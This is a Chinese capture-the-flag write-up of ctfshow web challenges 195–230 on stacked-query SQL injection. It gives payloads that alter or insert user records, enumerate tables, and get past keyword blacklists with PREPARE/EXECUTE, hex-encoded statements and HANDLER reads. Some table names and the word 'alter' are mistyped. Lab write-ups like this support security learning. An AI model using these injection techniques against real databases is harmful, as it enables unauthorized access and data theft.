前言
web195~200,这一部分暂时先不写详细的
web225~230
web195(重置密码)
查询语句:
$sql = "select pass from ctfshow_user where username = {$username};";
payload:
1;update`ctshow_user`set`pass`=1
这样子使查询的colunm_name
值变得可控,然后输入0模糊匹配即可
web196、197(插入数据)
insert ctfshow_user(`username`,`pass`) value(0,0)
可以用insert
直接在表中添加一串自己的用户名和密码实现登录
web198(alter)
用alert把pass和id的内容互换,然后通过爆破得到结果
web199(匹配值相等)
匹配语句如下
$row[0]==$password
表名已知的情况下可以直接
0;show tables;
password填表名
web200
web225(预处理/handler)
查询语句
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
过滤
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}
查询框随便输入发现没有回显,那就抓个包查表名看看
1';show%20tables;
得到表名ctfshow_flagasa
,然后读列名
1';show%20columns%20from%20ctfshow_flagasa;
得到字段名flagas
接下来就是最主要的问题了,因为select被ban了,我们得另找方法
预处理
就像这样,我们可以构造select flagas from ctfshow_flagasa
注意这里把set
过滤掉了,所以我们构造的时候要把执行的语句直接放在from后面
1';PREPARE ciallo from concat('s','elect flagas from ctfshow_flagasa');EXECUTE ciallo;
记得url编码一下
Handler
也可以用handler函数
payload:
1';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
web226(十六进制)
过滤
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}
把show过滤了,不能直接查表名和列名了,
还过滤了(
,不能用concat
拼接了
但是我们可以通过预处理+16进制编码结合的方法来绕过
把show tables
编码为0x73686f77207461626c6573
作为预处理的字符串
1';PREPARE ciallo from 0x73686f77207461626c6573;EXECUTE ciallo;
1';PREPARE ciallo from 0x73686f7720636f6c756d6e732066726f6d2063746673685f6f775f666c61676173;EXECUTE ciallo;
1';PREPARE ciallo from 0x73656c65637420666c61676173622066726f6d2063746673685f6f775f666c61676173;EXECUTE ciallo;
web227(查看存储过程和函数)
知识点参考MySQL——查看存储过程和函数
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
die(json_encode($ret));
}
过滤多了个db和,
,不影响预处理+16进制编码做题,但是会发现数据库里找不到flag
在 MySQL 中,存储过程和函数的信息存储在 information_schema 数据库下的 Routines 表中
使用 SELECT 语句查询 Routines 表中的存储过程和函数的定义时,一定要使用 ROUTNE_NAME 字段指定存储过程或函数的名称。否则,将查询出所有的存储过程或函数的定义。如果存储过程和存储函数名称相同,则需要要同时指定 ROUTINE_TYPE 字段表明查询的是哪种类型的存储程序。
可以通过查询该表的记录来查询存储过程和函数的信息
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME='sp_name';
所以我们十六进制编码一下select * from information_schema.routines
执行
1';PREPARE ciallo from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;EXECUTE ciallo;
web228~230
这几题差不多,就以web228为例
查询
//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
$bansql = "select char from banlist;";
过滤
//师傅说内容太多,就写入数据库保存
if(count($banlist)>0){
foreach ($banlist as $char) {
if(preg_match("/".$char."/i", $username)){
die(json_encode($ret));
}
}
}
理论上应该先fuzz看看到底过滤了什么的,但是预处理16进制可以直接打穿
1';PREPARE ciallo from 0x73686f77207461626c6573;EXECUTE ciallo;
1';PREPARE ciallo from 0x73686f7720636f6c756d6e732066726f6d2063746673685f6f775f666c616761736161;EXECUTE ciallo;
1';PREPARE ciallo from 0x73656c65637420666c6167617362612066726f6d2063746673685f6f775f666c616761736161;EXECUTE ciallo;